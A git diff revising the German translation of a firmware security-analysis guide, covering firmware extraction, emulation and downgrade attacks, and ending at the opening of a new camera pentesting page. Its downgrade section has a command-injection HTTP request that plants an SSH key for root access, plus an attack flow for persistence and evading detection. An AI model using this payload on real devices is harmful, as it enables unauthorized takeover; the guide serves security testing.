+Firmware ist essentielle Software, die Geräte korrekt funktionieren lässt, indem sie die Kommunikation zwischen Hardwarekomponenten und der Software, mit der Benutzer interagieren, verwaltet und erleichtert. Sie wird in permanentem Speicher abgelegt, wodurch das Gerät von dem Moment an, in dem es eingeschaltet wird, auf wichtige Anweisungen zugreifen kann, was zum Start des Betriebssystems führt. Das Untersuchen und gegebenenfalls Modifizieren von Firmware ist ein kritischer Schritt zur Identifizierung von Sicherheitslücken.

- Die CPU-Architektur und das Betriebssystem, das es ausführt
- Bootloader-Spezifikationen
+## **Informationssammlung**
+
+**Informationssammlung** ist ein kritischer erster Schritt, um den Aufbau eines Geräts und die verwendeten Technologien zu verstehen. Dieser Prozess umfasst das Sammeln von Daten über:
+
+- Die CPU-Architektur und das darauf laufende Betriebssystem
+- Spezifika des Bootloaders
 - Hardware-Layout und Datenblätter
- Codebasis-Metriken und Quellstandorte
+- Metriken der Codebasis und Speicherorte des Quellcodes
 - Externe Bibliotheken und Lizenztypen
- Update-Historien und regulatorische Zertifizierungen
- Architektonische und Flussdiagramme
+- Update-Historien und behördliche Zertifizierungen
+- Architektur- und Ablaufdiagramme
 - Sicherheitsbewertungen und identifizierte Schwachstellen

-Zu diesem Zweck sind **Open-Source-Intelligence (OSINT)**-Tools von unschätzbarem Wert, ebenso wie die Analyse aller verfügbaren Open-Source-Softwarekomponenten durch manuelle und automatisierte Überprüfungsprozesse. Tools wie [Coverity Scan](https://scan.coverity.com) und [Semmle’s LGTM](https://lgtm.com/#explore) bieten kostenlose statische Analysen, die genutzt werden können, um potenzielle Probleme zu finden.
+Zu diesem Zweck sind **open-source intelligence (OSINT)**-Tools von unschätzbarem Wert, ebenso wie die Analyse aller verfügbaren Open-Source-Softwarekomponenten durch manuelle und automatisierte Prüfprozesse. Tools wie [Coverity Scan](https://scan.coverity.com) und [Semmle’s LGTM](https://lgtm.com/#explore) bieten kostenlose statische Analysen, die genutzt werden können, um potenzielle Probleme zu finden.

-## **Erwerb der Firmware**
+## **Beschaffung der Firmware**

-Der Erwerb von Firmware kann auf verschiedene Weise erfolgen, jede mit ihrem eigenen Komplexitätsgrad:
+Das Beschaffen von Firmware kann auf verschiedene Weisen erfolgen, jeweils mit unterschiedlichem Komplexitätsgrad:

 - **Direkt** von der Quelle (Entwickler, Hersteller)
- **Bauen** aus bereitgestellten Anweisungen
+- **Bauen** aus den bereitgestellten Anleitungen
 - **Herunterladen** von offiziellen Support-Seiten
- Nutzung von **Google Dork**-Abfragen zur Auffindung gehosteter Firmware-Dateien
- Direkter Zugriff auf **Cloud-Speicher** mit Tools wie [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Abfangen von **Updates** über Man-in-the-Middle-Techniken
- **Extrahieren** vom Gerät über Verbindungen wie **UART**, **JTAG** oder **PICit**
- **Sniffen** von Update-Anfragen innerhalb der Gerätekommunikation
- Identifizieren und Verwenden von **hardcodierten Update-Endpunkten**
- **Dumpen** vom Bootloader oder Netzwerk
- **Entfernen und Lesen** des Speicherchips, wenn alles andere fehlschlägt, unter Verwendung geeigneter Hardware-Tools
+- Verwenden von **Google dork**-Abfragen, um gehostete Firmware-Dateien zu finden
+- Direkter Zugriff auf **cloud storage**, z. B. mit Tools wie [S3Scanner](https://github.com/sa7mon/S3Scanner)
+- Abfangen von **Updates** mittels man-in-the-middle-Techniken
+- **Extrahieren** vom Gerät über Schnittstellen wie **UART**, **JTAG** oder **PICit**
+- **Sniffing** nach Update-Anfragen in der Gerätekommunikation
+- Identifizieren und Verwenden von **hardcoded update endpoints**
+- **Dumping** aus dem Bootloader oder Netzwerk
+- **Entfernen und Auslesen** des Speicherchips, wenn alles andere fehlschlägt, mit geeigneten Hardware-Tools

 ## Analyse der Firmware

-Jetzt, da Sie **die Firmware haben**, müssen Sie Informationen darüber extrahieren, um zu wissen, wie Sie damit umgehen sollen. Verschiedene Tools, die Sie dafür verwenden können:
+Sobald Sie die **Firmware haben**, müssen Sie Informationen daraus extrahieren, um zu wissen, wie Sie vorgehen sollten. Verschiedene Tools, die Sie dafür verwenden können:
 ```bash
 file <bin>
 strings -n8 <bin>
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head # might find signatures in header
 fdisk -lu <bin> #lists a drives partition and filesystems if multiple
 ```
-Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Wenn die Entropie niedrig ist, ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
+Wenn du mit diesen Tools nicht viel findest, prüfe die **entropy** des Images mit `binwalk -E <bin>`; bei niedriger entropy ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher entropy ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
+
+Außerdem kannst du diese Tools benutzen, um **Dateien, die in der Firmware eingebettet sind**, zu extrahieren:

-Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die im Firmware eingebettet sind**, zu extrahieren:

 {{#ref}}
 ../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
 {{#endref}}

-Oder [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)), um die Datei zu inspizieren.
+Oder [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) um die Datei zu inspizieren.

-### Abrufen des Dateisystems
+### Zugriff auf das Dateisystem

-Mit den zuvor kommentierten Tools wie `binwalk -ev <bin>` sollten Sie in der Lage gewesen sein, das **Dateisystem zu extrahieren**.\
-Binwalk extrahiert es normalerweise in einen **Ordner, der nach dem Dateisystemtyp benannt ist**, der normalerweise einer der folgenden ist: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
+Mit den zuvor genannten Tools wie `binwalk -ev <bin>` solltest du in der Lage gewesen sein, das **Dateisystem zu extrahieren**.\
+Binwalk extrahiert es normalerweise in einen **Ordner, der nach dem Dateisystemtyp benannt ist**, der typischerweise einer der folgenden ist: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.

-#### Manuelle Dateisystemextraktion
+#### Manuelle Extraktion des Dateisystems

-Manchmal hat binwalk **nicht das magische Byte des Dateisystems in seinen Signaturen**. In diesen Fällen verwenden Sie binwalk, um **den Offset des Dateisystems zu finden und das komprimierte Dateisystem** aus der Binärdatei zu extrahieren und das Dateisystem **manuell gemäß seinem Typ** mit den folgenden Schritten zu extrahieren.
+Manchmal hat binwalk **nicht das Magic-Byte des Dateisystems in seinen Signaturen**. In diesen Fällen verwende binwalk, um **den Offset des Dateisystems zu finden und das komprimierte Dateisystem aus dem Binary zu carve** und das Dateisystem anschließend entsprechend seinem Typ **manuell zu extrahieren**, indem du die untenstehenden Schritte befolgst.
 ```
 $ binwalk DIR850L_REVB.bin

@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
 ```
-Führen Sie den folgenden **dd-Befehl** aus, um das Squashfs-Dateisystem zu extrahieren.
+Führe den folgenden **dd command** aus (carving the Squashfs filesystem).
 ```
 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs

@ -93,7 +100,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs

 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
 ```
-Alternativ kann auch der folgende Befehl ausgeführt werden.
+Alternativ kann auch folgender Befehl ausgeführt werden.

 `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`

@ -101,7 +108,7 @@ Alternativ kann auch der folgende Befehl ausgeführt werden.

 `$ unsquashfs dir.squashfs`

-Die Dateien befinden sich danach im Verzeichnis "`squashfs-root`".
+Die Dateien befinden sich anschließend im Verzeichnis "`squashfs-root`".

 - CPIO-Archivdateien

@ -117,13 +124,13 @@ Die Dateien befinden sich danach im Verzeichnis "`squashfs-root`".

 `$ ubidump.py <bin>`

-## Firmware-Analyse
+## Firmware analysieren

-Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Werkzeuge zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
+Sobald die Firmware vorliegt, ist es wichtig, sie zu zerlegen, um ihre Struktur und mögliche Schwachstellen zu verstehen. Dieser Prozess beinhaltet den Einsatz verschiedener Tools, um aus dem Firmware-Image wertvolle Daten zu analysieren und zu extrahieren.

-### Werkzeuge zur ersten Analyse
+### Initiale Analyse-Tools

-Eine Reihe von Befehlen wird für die erste Inspektion der Binärdatei (bezeichnet als `<bin>`) bereitgestellt. Diese Befehle helfen dabei, Dateitypen zu identifizieren, Strings zu extrahieren, binäre Daten zu analysieren und die Partitionierungs- und Dateisystemdetails zu verstehen:
+Eine Reihe von Befehlen wird zur ersten Untersuchung der Binärdatei (als `<bin>` bezeichnet) bereitgestellt. Diese Befehle helfen dabei, Dateitypen zu identifizieren, Strings zu extrahieren, Binärdaten zu analysieren und Partitionen sowie Dateisystemdetails zu verstehen:
 ```bash
 file <bin>
 strings -n8 <bin>
@ -132,65 +139,65 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head #useful for finding signatures in the header
 fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 ```
-Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Eine niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während eine hohe Entropie auf mögliche Verschlüsselung oder Kompression hindeutet.
+Um den Verschlüsselungsstatus des Images zu beurteilen, wird die **entropy** mit `binwalk -E <bin>` überprüft. Niedrige entropy deutet auf fehlende Verschlüsselung hin, während hohe entropy auf mögliche Verschlüsselung oder Kompression hindeutet.

-Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die Dokumentation zu **file-data-carving-recovery-tools** und **binvis.io** zur Dateiansicht empfohlen.
+Zum Extrahieren **eingebetteter Dateien** werden Tools und Ressourcen wie die Dokumentation **file-data-carving-recovery-tools** und **binvis.io** zur Dateiinspektion empfohlen.

 ### Extrahieren des Dateisystems

-Mit `binwalk -ev <bin>` kann man normalerweise das Dateisystem extrahieren, oft in ein Verzeichnis, das nach dem Dateisystemtyp benannt ist (z. B. squashfs, ubifs). Wenn **binwalk** jedoch den Dateisystemtyp aufgrund fehlender Magic Bytes nicht erkennt, ist eine manuelle Extraktion erforderlich. Dies beinhaltet die Verwendung von `binwalk`, um den Offset des Dateisystems zu lokalisieren, gefolgt vom `dd`-Befehl, um das Dateisystem herauszuschneiden:
+Mit `binwalk -ev <bin>` kann man normalerweise das Dateisystem extrahieren, oft in ein Verzeichnis mit dem Namen des Dateisystemtyps (z. B. squashfs, ubifs). Wenn **binwalk** jedoch den Dateisystemtyp aufgrund fehlender magic bytes nicht erkennt, ist eine manuelle Extraktion notwendig. Dazu verwendet man `binwalk`, um den Offset des Dateisystems zu ermitteln, und anschließend den `dd`-Befehl, um das Dateisystem auszuschneiden:
 ```bash
 $ binwalk DIR850L_REVB.bin

 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 ```
-Danach werden je nach Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs) unterschiedliche Befehle verwendet, um die Inhalte manuell zu extrahieren.
+Anschließend werden, abhängig vom Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs), unterschiedliche Befehle verwendet, um die Inhalte manuell zu extrahieren.

-### Dateisystemanalyse
+### Filesystem-Analyse

-Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitsanfälligkeiten. Es wird auf unsichere Netzwerk-Daemons, fest codierte Anmeldeinformationen, API-Endpunkte, Funktionen von Update-Servern, nicht kompilierte Codes, Startskripte und kompilierte Binärdateien für die Offline-Analyse geachtet.
+Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitslücken. Augenmerk liegt auf unsicheren Netzwerkdaemons, hardcodierten Zugangsdaten, API-Endpunkten, Update-Server-Funktionalitäten, unkompiliertem Code, Startscripts und kompilierten Binaries zur Offline-Analyse.

-**Wichtige Standorte** und **Elemente**, die untersucht werden sollten, sind:
+**Wichtige Orte** und **Elemente**, die geprüft werden, sind:

 - **etc/shadow** und **etc/passwd** für Benutzeranmeldeinformationen
 - SSL-Zertifikate und -Schlüssel in **etc/ssl**
- Konfigurations- und Skriptdateien auf potenzielle Schwachstellen
- Eingebettete Binärdateien für weitere Analysen
+- Konfigurations- und Skriptdateien auf mögliche Schwachstellen
+- Eingebettete Binaries zur weiteren Analyse
 - Häufige IoT-Geräte-Webserver und Binärdateien

-Mehrere Tools helfen dabei, sensible Informationen und Schwachstellen im Dateisystem aufzudecken:
+Mehrere Tools unterstützen beim Aufspüren sensibler Informationen und Schwachstellen im Dateisystem:

- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) und [**Firmwalker**](https://github.com/craigz28/firmwalker) zur Suche nach sensiblen Informationen
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) für umfassende Firmware-Analysen
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) und [**EMBA**](https://github.com/e-m-b-a/emba) für statische und dynamische Analysen
+- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) und [**Firmwalker**](https://github.com/craigz28/firmwalker) für die Suche nach sensiblen Informationen
+- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) für umfassende Firmware-Analyse
+- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) und [**EMBA**](https://github.com/e-m-b-a/emba) für statische und dynamische Analyse

-### Sicherheitsüberprüfungen von kompilierten Binärdateien
+### Sicherheitsprüfungen an kompilierten Binärdateien

-Sowohl Quellcode als auch kompilierte Binärdateien, die im Dateisystem gefunden werden, müssen auf Schwachstellen überprüft werden. Tools wie **checksec.sh** für Unix-Binärdateien und **PESecurity** für Windows-Binärdateien helfen dabei, ungeschützte Binärdateien zu identifizieren, die ausgenutzt werden könnten.
+Sowohl Quellcode als auch kompilierte Binärdateien im Dateisystem müssen auf Schwachstellen geprüft werden. Tools wie **checksec.sh** für Unix-Binärdateien und **PESecurity** für Windows-Binärdateien helfen dabei, ungeschützte Binärdateien zu identifizieren, die ausgenutzt werden könnten.

-## Emulation von Firmware für dynamische Analysen
+## Emulieren von Firmware für dynamische Analyse

-Der Prozess der Emulation von Firmware ermöglicht die **dynamische Analyse** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie z. B. einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
+Der Prozess der Firmware-Emulation ermöglicht die dynamische Analyse entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Probleme durch Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des root filesystem oder einzelner Binaries auf ein Gerät mit passender Architektur und Endianness, wie z. B. ein Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.

-### Emulation einzelner Binärdateien
+### Emulieren einzelner Binaries

-Für die Untersuchung einzelner Programme ist es entscheidend, die Endianness und die CPU-Architektur des Programms zu identifizieren.
+Zum Untersuchen einzelner Programme ist es entscheidend, die Endianness und die CPU-Architektur des Programms zu bestimmen.

 #### Beispiel mit MIPS-Architektur

-Um eine Binärdatei der MIPS-Architektur zu emulieren, kann man den Befehl verwenden:
+Um ein Binary für die MIPS-Architektur zu emulieren, kann man folgenden Befehl verwenden:
 ```bash
 file ./squashfs-root/bin/busybox
 ```
-Und um die notwendigen Emulationswerkzeuge zu installieren:
+Und um die notwendigen Emulationstools zu installieren:
 ```bash
 sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
 ```
-Für MIPS (Big-Endian) wird `qemu-mips` verwendet, und für Little-Endian-Binärdateien wäre `qemu-mipsel` die Wahl.
+Für MIPS (big-endian) wird `qemu-mips` verwendet, und für little-endian Binaries wäre `qemu-mipsel` die Wahl.

 #### ARM-Architektur-Emulation

-Für ARM-Binärdateien ist der Prozess ähnlich, wobei der Emulator `qemu-arm` für die Emulation genutzt wird.
+Bei ARM-Binaries ist der Prozess ähnlich; für die Emulation wird `qemu-arm` eingesetzt.

 ### Vollständige Systememulation

@ -198,75 +205,75 @@ Tools wie [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi

 ## Dynamische Analyse in der Praxis

-In diesem Stadium wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
+In diesem Stadium wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Shell-Zugriff auf das OS und das Dateisystem ist essenziell. Emulation kann Hardware-Interaktionen nicht perfekt nachbilden, weshalb gelegentliche Neustarts der Emulation nötig sind. Die Analyse sollte das Dateisystem erneut durchsuchen, exponierte Webseiten und Netzwerkdienste untersuchen und Bootloader-Schwachstellen analysieren. Firmware-Integritätstests sind wichtig, um mögliche Backdoor-Schwachstellen zu erkennen.

 ## Laufzeitanalyse-Techniken

-Die Laufzeitanalyse umfasst die Interaktion mit einem Prozess oder einer Binärdatei in seiner Betriebsumgebung, wobei Tools wie gdb-multiarch, Frida und Ghidra verwendet werden, um Haltepunkte zu setzen und Schwachstellen durch Fuzzing und andere Techniken zu identifizieren.
+Laufzeitanalyse bedeutet, mit einem Prozess oder Binary in seiner laufenden Umgebung zu interagieren und Tools wie gdb-multiarch, Frida und Ghidra zu nutzen, um Breakpoints zu setzen und Schwachstellen mittels Fuzzing und anderen Techniken zu identifizieren.

-## Binär-Exploitation und Proof-of-Concept
+## Binary-Exploitation und Proof-of-Concept

-Die Entwicklung eines PoC für identifizierte Schwachstellen erfordert ein tiefes Verständnis der Zielarchitektur und Programmierung in niedrigeren Programmiersprachen. Binäre Laufzeitschutzmaßnahmen in eingebetteten Systemen sind selten, aber wenn sie vorhanden sind, können Techniken wie Return Oriented Programming (ROP) erforderlich sein.
+Die Entwicklung eines PoC für identifizierte Schwachstellen erfordert ein tiefes Verständnis der Zielarchitektur und Programmierung in Low-Level-Sprachen. Binary-Runtime-Protections in Embedded-Systemen sind selten, aber wenn vorhanden, können Techniken wie Return Oriented Programming (ROP) notwendig sein.

-## Vorbereitete Betriebssysteme für die Firmware-Analyse
+## Vorgefertigte Betriebssysteme für Firmware-Analyse

-Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS](https://github.com/scriptingxss/EmbedOS) bieten vorkonfigurierte Umgebungen für die Sicherheitstests von Firmware, ausgestattet mit den notwendigen Tools.
+Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS](https://github.com/scriptingxss/EmbedOS) bieten vorkonfigurierte Umgebungen für Firmware-Sicherheitstests und sind mit den notwendigen Tools ausgestattet.

-## Vorbereitete OSs zur Analyse von Firmware
+## Vorgefertigte OS zur Analyse von Firmware

- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen helfen soll, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Eingebettetes Sicherheitstestbetriebssystem basierend auf Ubuntu 18.04, vorinstalliert mit Tools für die Sicherheitstests von Firmware.
+- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distro, die dich bei Security-Assessment und pentesting von Internet of Things (IoT)-Geräten unterstützt. Sie spart viel Zeit, indem sie eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
+- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system basierend auf Ubuntu 18.04, vorinstalliert mit Firmware-Sicherheitstools.

-## Firmware-Downgrade-Angriffe & Unsichere Aktualisierungsmechanismen
+## Firmware-Downgrade-Angriffe & unsichere Update-Mechanismen

-Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, verwundbare Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.
+Selbst wenn ein Hersteller kryptographische Signaturprüfungen für firmware images implementiert, wird **version rollback (downgrade) protection häufig weggelassen**. Wenn der Boot- oder Recovery-Loader nur die Signatur mit einem eingebetteten Public Key verifiziert, aber nicht die *version* (oder einen monotonen Zähler) des zu flashenden Images vergleicht, kann ein Angreifer legal eine **ältere, verwundbare firmware installieren, die weiterhin eine gültige Signatur trägt**, und so gepatchte Schwachstellen wieder einführen.

-Typischer Angriffsablauf:
+Typischer Angriffsvorgang:

-1. **Erhalten Sie ein älteres signiertes Image**
-* Laden Sie es von dem öffentlichen Download-Portal, CDN oder Support-Website des Anbieters herunter.
-* Extrahieren Sie es aus begleitenden mobilen/desktopp Anwendungen (z. B. innerhalb einer Android-APK unter `assets/firmware/`).
-* Holen Sie es aus Drittanbieter-Repositories wie VirusTotal, Internetarchiven, Foren usw.
-2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über einen beliebigen exponierten Aktualisierungskanal:
-* Web-UI, mobile-App-API, USB, TFTP, MQTT usw.
-* Viele Verbraucher-IoT-Geräte bieten *unauthentifizierte* HTTP(S)-Endpunkte, die Base64-kodierte Firmware-Blobs akzeptieren, diese serverseitig dekodieren und die Wiederherstellung/Aktualisierung auslösen.
-3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschleusungsfilter, der später hinzugefügt wurde).
-4. Optional das neueste Image zurückflashen oder Updates deaktivieren, um eine Entdeckung zu vermeiden, sobald Persistenz erreicht ist.
+1. **Älteres signiertes Image beschaffen**
+* Vom öffentlichen Download-Portal des Vendors, CDN oder der Support-Seite herunterladen.
+* Aus zugehörigen Mobile-/Desktop-Anwendungen extrahieren (z. B. innerhalb einer Android-APK unter `assets/firmware/`).
+* Aus Drittanbieter-Repositorien wie VirusTotal, Internet-Archiven, Foren etc. beziehen.
+2. **Das Image auf das Gerät hochladen oder bereitstellen** über einen beliebigen exponierten Update-Kanal:
+* Web UI, mobile-app API, USB, TFTP, MQTT etc.
+* Viele Consumer-IoT-Geräte stellen *unauthenticated* HTTP(S)-Endpunkte bereit, die Base64-codierte firmware-Blobs akzeptieren, serverseitig decodieren und Recovery/Upgrade auslösen.
+3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (z. B. ein später hinzugefügter command-injection-Filter).
+4. Optional das neueste Image wieder flashen oder Updates deaktivieren, um nach Erlangung von persistence die Entdeckung zu vermeiden.

-### Beispiel: Befehlseinschleusung nach Downgrade
+### Beispiel: Command Injection nach Downgrade
 ```http
 POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
 Host: 192.168.0.1
 Content-Type: application/octet-stream
 Content-Length: 0
 ```
-In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärmaßnahmen eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung wirkungslos.
+In der anfälligen (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl eingefügt, ohne bereinigt zu werden, was die Injektion beliebiger Befehle ermöglicht (hier – enabling SSH key-based root access). Spätere Firmware-Versionen führten einen einfachen Zeichenfilter ein, doch das Fehlen eines Downgrade-Schutzes macht die Behebung wirkungslos.

-### Extrahieren von Firmware aus mobilen Apps
+### Firmware aus mobilen Apps extrahieren

-Viele Anbieter bündeln vollständige Firmware-Images in ihren Begleitmobilanwendungen, damit die App das Gerät über Bluetooth/Wi-Fi aktualisieren kann. Diese Pakete werden häufig unverschlüsselt im APK/APEX unter Pfaden wie `assets/fw/` oder `res/raw/` gespeichert. Tools wie `apktool`, `ghidra` oder sogar einfaches `unzip` ermöglichen es Ihnen, signierte Images zu extrahieren, ohne die physische Hardware zu berühren.
+Viele Hersteller packen komplette Firmware-Images in ihre Begleit-Mobilanwendungen, damit die App das Gerät über Bluetooth/Wi-Fi aktualisieren kann. Diese Pakete werden häufig unverschlüsselt im APK/APEX unter Pfaden wie `assets/fw/` oder `res/raw/` abgelegt. Werkzeuge wie `apktool`, `ghidra` oder sogar simples `unzip` erlauben es dir, signierte Images zu extrahieren, ohne die Hardware anzufassen.
 ```
 $ apktool d vendor-app.apk -o vendor-app
 $ ls vendor-app/assets/firmware
 firmware_v1.3.11.490_signed.bin
 ```
-### Checklist zur Bewertung der Update-Logik
+### Checkliste zur Bewertung der Update-Logik

-* Ist der Transport/Authentifizierung des *Update-Endpunkts* angemessen geschützt (TLS + Authentifizierung)?
-* Vergleicht das Gerät **Versionsnummern** oder einen **monotonen Anti-Rollback-Zähler** vor dem Flashen?
-* Wird das Image innerhalb einer sicheren Boot-Kette verifiziert (z.B. Signaturen, die vom ROM-Code überprüft werden)?
-* Führt der Userland-Code zusätzliche Plausibilitätsprüfungen durch (z.B. erlaubte Partitionstabelle, Modellnummer)?
-* Nutzen *partielle* oder *Backup*-Update-Workflows die gleiche Validierungslogik?
+* Ist der Transport/die Authentifizierung des *update endpoint* ausreichend geschützt (TLS + authentication)?
+* Vergleicht das Gerät **version numbers** oder einen **monotonic anti-rollback counter**, bevor geflasht wird?
+* Wird das Image innerhalb einer secure boot chain verifiziert (z. B. werden signatures vom ROM code geprüft)?
+* Führt userland code zusätzliche Sanity-Checks durch (z. B. allowed partition map, model number)?
+* Verwenden *partial*- oder *backup*-Update-Flows dieselbe Validierungslogik?

-> 💡  Wenn eines der oben genannten fehlt, ist die Plattform wahrscheinlich anfällig für Rollback-Angriffe.
+> 💡  Wenn eines der oben Genannten fehlt, ist die Plattform wahrscheinlich anfällig für rollback attacks.

 ## Verwundbare Firmware zum Üben

-Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folgenden verwundbaren Firmware-Projekte als Ausgangspunkt.
+Um das Auffinden von Schwachstellen in Firmware zu üben, verwenden Sie die folgenden verwundbaren Firmware-Projekte als Ausgangspunkt.

 - OWASP IoTGoat
 - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- Das Damn Vulnerable Router Firmware Project
+- The Damn Vulnerable Router Firmware Project
 - [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
 - Damn Vulnerable ARM Router (DVAR)
 - [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
@ -283,7 +290,7 @@ Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folg
 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
 - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)

-## Schulung und Zertifizierung
+## Training und Zertifizierungen

 - [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

--- a/src/images/k8studio.jpg
+++ b/src/images/k8studio.jpg
--- a/src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
+++ b/src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
@ -0,0 +1,165 @@
+# 32100/UDP - Pentesting PPPP (CS2) P2P Kameras
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Überblick
+
